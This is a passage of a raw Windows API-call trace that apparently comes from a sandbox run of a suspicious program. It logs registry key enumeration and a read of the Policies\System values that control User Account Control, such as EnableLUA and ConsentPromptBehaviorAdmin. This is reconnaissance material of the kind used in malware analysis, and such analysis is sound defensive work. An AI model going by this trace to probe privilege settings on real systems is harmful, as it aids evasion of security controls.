lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hotstart", cchWideChar=8, lpMultiByteStr=0xb3c160, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hotstart", lpUsedDefaultChar=0x0) returned 8 [0241.530] RegEnumKeyW (in: hKey=0x24, dwIndex=0x18, lpName=0xb3b9b8, cchName=0x104 | out: lpName="IME") returned 0x0 [0241.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0241.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0xb3c1a8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ime", lpUsedDefaultChar=0x0) returned 3 [0241.530] RegEnumKeyW (in: hKey=0x24, dwIndex=0x19, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Installer") returned 0x0 [0241.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="installer", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0241.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="installer", cchWideChar=9, lpMultiByteStr=0xb3c160, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="installer", lpUsedDefaultChar=0x0) returned 9 [0241.530] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1a, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Internet Settings") returned 0x0 [0241.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet settings", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0241.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet settings", cchWideChar=17, lpMultiByteStr=0xb3c1a8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet settings", lpUsedDefaultChar=0x0) returned 17 [0241.530] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1b, lpName=0xb3b9b8, cchName=0x104 | out: lpName="MCT") returned 0x0 [0241.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mct", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0241.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mct", cchWideChar=3, lpMultiByteStr=0xb3c160, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mct", lpUsedDefaultChar=0x0) returned 3 [0241.531] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1c, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Media Center") returned 0x0 [0241.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="media center", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="media center", cchWideChar=12, lpMultiByteStr=0xb3c1a8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="media center", lpUsedDefaultChar=0x0) returned 12 [0241.531] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1d, lpName=0xb3b9b8, cchName=0x104 | out: lpName="MMDevices") returned 0x0 [0241.535] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmdevices", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0241.535] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmdevices", cchWideChar=9, lpMultiByteStr=0xb3c160, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmdevices", lpUsedDefaultChar=0x0) returned 9 [0241.535] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1e, lpName=0xb3b9b8, cchName=0x104 | out: lpName="MSSHA") returned 0x0 [0241.535] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssha", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0241.535] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssha", cchWideChar=5, lpMultiByteStr=0xb3c1a8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssha", lpUsedDefaultChar=0x0) returned 5 [0241.535] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1f, lpName=0xb3b9b8, cchName=0x104 | out: lpName="NetCache") returned 0x0 [0241.535] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netcache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.535] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netcache", cchWideChar=8, lpMultiByteStr=0xb3c160, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netcache", lpUsedDefaultChar=0x0) returned 8 [0241.535] RegEnumKeyW (in: hKey=0x24, dwIndex=0x20, lpName=0xb3b9b8, cchName=0x104 | out: lpName="OEMInformation") returned 0x0 [0241.535] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oeminformation", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0241.535] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oeminformation", cchWideChar=14, lpMultiByteStr=0xb3c1a8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oeminformation", lpUsedDefaultChar=0x0) returned 14 [0241.535] RegEnumKeyW (in: hKey=0x24, dwIndex=0x21, lpName=0xb3b9b8, cchName=0x104 | out: lpName="OOBE") returned 0x0 [0241.535] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oobe", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0241.535] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oobe", cchWideChar=4, lpMultiByteStr=0xb3c160, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oobe", lpUsedDefaultChar=0x0) returned 4 [0241.536] RegEnumKeyW (in: hKey=0x24, dwIndex=0x22, lpName=0xb3b9b8, cchName=0x104 | out: lpName="OptimalLayout") returned 0x0 [0241.536] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="optimallayout", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0241.536] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="optimallayout", cchWideChar=13, lpMultiByteStr=0xb3c1a8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="optimallayout", lpUsedDefaultChar=0x0) returned 13 [0241.536] RegEnumKeyW (in: hKey=0x24, dwIndex=0x23, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Parental Controls") returned 0x0 [0241.536] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="parental controls", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0241.536] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="parental controls", cchWideChar=17, lpMultiByteStr=0xb3c160, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="parental controls", lpUsedDefaultChar=0x0) returned 17 [0241.536] RegEnumKeyW (in: hKey=0x24, dwIndex=0x24, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Personalization") returned 0x0 [0241.536] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="personalization", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0241.536] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="personalization", cchWideChar=15, lpMultiByteStr=0xb3c1a8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="personalization", lpUsedDefaultChar=0x0) returned 15 [0241.536] RegEnumKeyW (in: hKey=0x24, dwIndex=0x25, lpName=0xb3b9b8, cchName=0x104 | out: lpName="PhotoPropertyHandler") returned 0x0 [0241.536] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="photopropertyhandler", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0241.536] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="photopropertyhandler", cchWideChar=20, lpMultiByteStr=0xb3c160, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="photopropertyhandler", lpUsedDefaultChar=0x0) returned 20 [0241.536] RegEnumKeyW (in: hKey=0x24, dwIndex=0x26, lpName=0xb3b9b8, cchName=0x104 | out: lpName="PnPSysprep") returned 0x0 [0241.536] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnpsysprep", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0241.536] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnpsysprep", cchWideChar=10, lpMultiByteStr=0xb3c1a8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pnpsysprep", lpUsedDefaultChar=0x0) returned 10 [0241.537] RegEnumKeyW (in: hKey=0x24, dwIndex=0x27, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Policies") returned 0x0 [0241.537] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.537] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0xb3c160, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0241.537] RegOpenKeyExW (in: hKey=0x24, lpSubKey="Policies", ulOptions=0x0, samDesired=0x20109, phkResult=0x4ef3d4 | out: phkResult=0x4ef3d4*=0xa0) returned 0x0 [0241.537] RegCloseKey (hKey=0x24) returned 0x0 [0241.537] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0xb3b9b8, cchName=0x104 | out: lpName="ActiveDesktop") returned 0x0 [0241.537] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activedesktop", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0241.537] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activedesktop", cchWideChar=13, lpMultiByteStr=0xb3c1a8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="activedesktop", lpUsedDefaultChar=0x0) returned 13 [0241.537] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x1, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Attachments") returned 0x0 [0241.537] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="attachments", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.537] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="attachments", cchWideChar=11, lpMultiByteStr=0xb3c160, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="attachments", lpUsedDefaultChar=0x0) returned 11 [0241.537] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x2, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0241.537] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.537] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0xb3c1a8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0241.537] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x3, lpName=0xb3b9b8, cchName=0x104 | out: lpName="NonEnum") returned 0x0 [0241.538] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nonenum", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.538] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nonenum", cchWideChar=7, lpMultiByteStr=0xb3c160, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nonenum", lpUsedDefaultChar=0x0) returned 7 [0241.538] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x4, lpName=0xb3b9b8, cchName=0x104 | out: lpName="System") returned 0x0 [0241.538] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.538] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0xb3c1a8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0241.538] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="System", ulOptions=0x0, samDesired=0x20109, phkResult=0x4ef3d4 | out: phkResult=0x4ef3d4*=0x24) returned 0x0 [0241.538] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3b9b8) returned 1 [0241.538] RegCloseKey (hKey=0xa0) returned 0x0 [0241.538] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3b8e8) returned 1 [0241.538] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x4ef2e0, lpcchValueName=0x4ef2dc, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x4ef2dc, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.538] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x10) returned 0xb3b8e8 [0241.538] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3b900 [0241.538] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.538] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x4ef2e0, lpcchValueName=0x4ef2dc, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x4ef2dc, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.538] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3b910 [0241.539] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.539] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x4ef2e0, lpcchValueName=0x4ef2dc, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x4ef2dc, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.539] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3b920 [0241.539] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1f0 [0241.539] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x4ef2e0, lpcchValueName=0x4ef2dc, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x4ef2dc, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.539] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3b9b8 [0241.539] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c238 [0241.539] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x4ef2e0, lpcchValueName=0x4ef2dc, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x4ef2dc, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.539] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x20) returned 0xb3b9c8 [0241.539] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3b8e8) returned 1 [0241.539] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3b8e8 [0241.539] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c280 [0241.539] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x4ef2e0, lpcchValueName=0x4ef2dc, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x4ef2dc, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.539] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3b9f0 [0241.539] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c2c8 [0241.539] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x4ef2e0, lpcchValueName=0x4ef2dc, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x4ef2dc, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.539] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3ba00 [0241.539] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.539] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x4ef2e0, lpcchValueName=0x4ef2dc, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x4ef2dc, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.539] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3ba10 [0241.539] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c358 [0241.539] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x4ef2e0, lpcchValueName=0x4ef2dc, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x4ef2dc, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.539] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x30) returned 0xb3ba20 [0241.539] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3b9c8) returned 1 [0241.539] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3b9c8 [0241.539] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c3a0 [0241.539] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x4ef2e0, lpcchValueName=0x4ef2dc, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x4ef2dc, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.540] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3b9d8 [0241.540] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c3e8 [0241.540] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x4ef2e0, lpcchValueName=0x4ef2dc, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x4ef2dc, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.540] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3ba58 [0241.540] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c430 [0241.540] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x4ef2e0, lpcchValueName=0x4ef2dc, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x4ef2dc, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.540] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3ba68 [0241.540] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c478 [0241.540] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x4ef2e0, lpcchValueName=0x4ef2dc, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x4ef2dc, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.540] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c4c0 [0241.540] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ba20) returned 1 [0241.540] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3ba20 [0241.540] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c508 [0241.540] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x4ef2e0, lpcchValueName=0x4ef2dc, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x4ef2dc, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.540] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3ba30 [0241.540] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c550 [0241.540] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x4ef2e0, lpcchValueName=0x4ef2dc, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x4ef2dc, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.540] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3ba40 [0241.540] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c598 [0241.540] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x4ef2e0, lpcchValueName=0x4ef2dc, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x4ef2dc, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.540] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3ba78 [0241.540] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c5e0 [0241.540] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x4ef2e0, lpcchValueName=0x4ef2dc, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x4ef2dc, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0241.540] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c628 [0241.540] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c628) returned 1 [0241.540] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c628 [0241.540] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c628) returned 1 [0241.540] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c628 [0241.540] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c628) returned 1 [0241.540] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c628 [0241.540] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c628) returned 1 [0241.540] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c628 [0241.541] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c160) returned 1 [0241.541] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3b900) returned 1 [0241.541] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.541] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3b910) returned 1 [0241.541] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1f0) returned 1 [0241.541] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3b920) returned 1 [0241.541] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c238) returned 1 [0241.541] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3b9b8) returned 1 [0241.541] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c280) returned 1 [0241.541] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3b8e8) returned 1 [0241.541] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c2c8) returned 1 [0241.541] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3b9f0) returned 1 